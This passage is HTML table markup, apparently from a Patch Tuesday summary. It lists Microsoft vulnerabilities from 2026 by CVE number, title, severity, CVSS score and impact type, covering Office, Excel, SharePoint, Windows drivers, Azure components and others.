  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
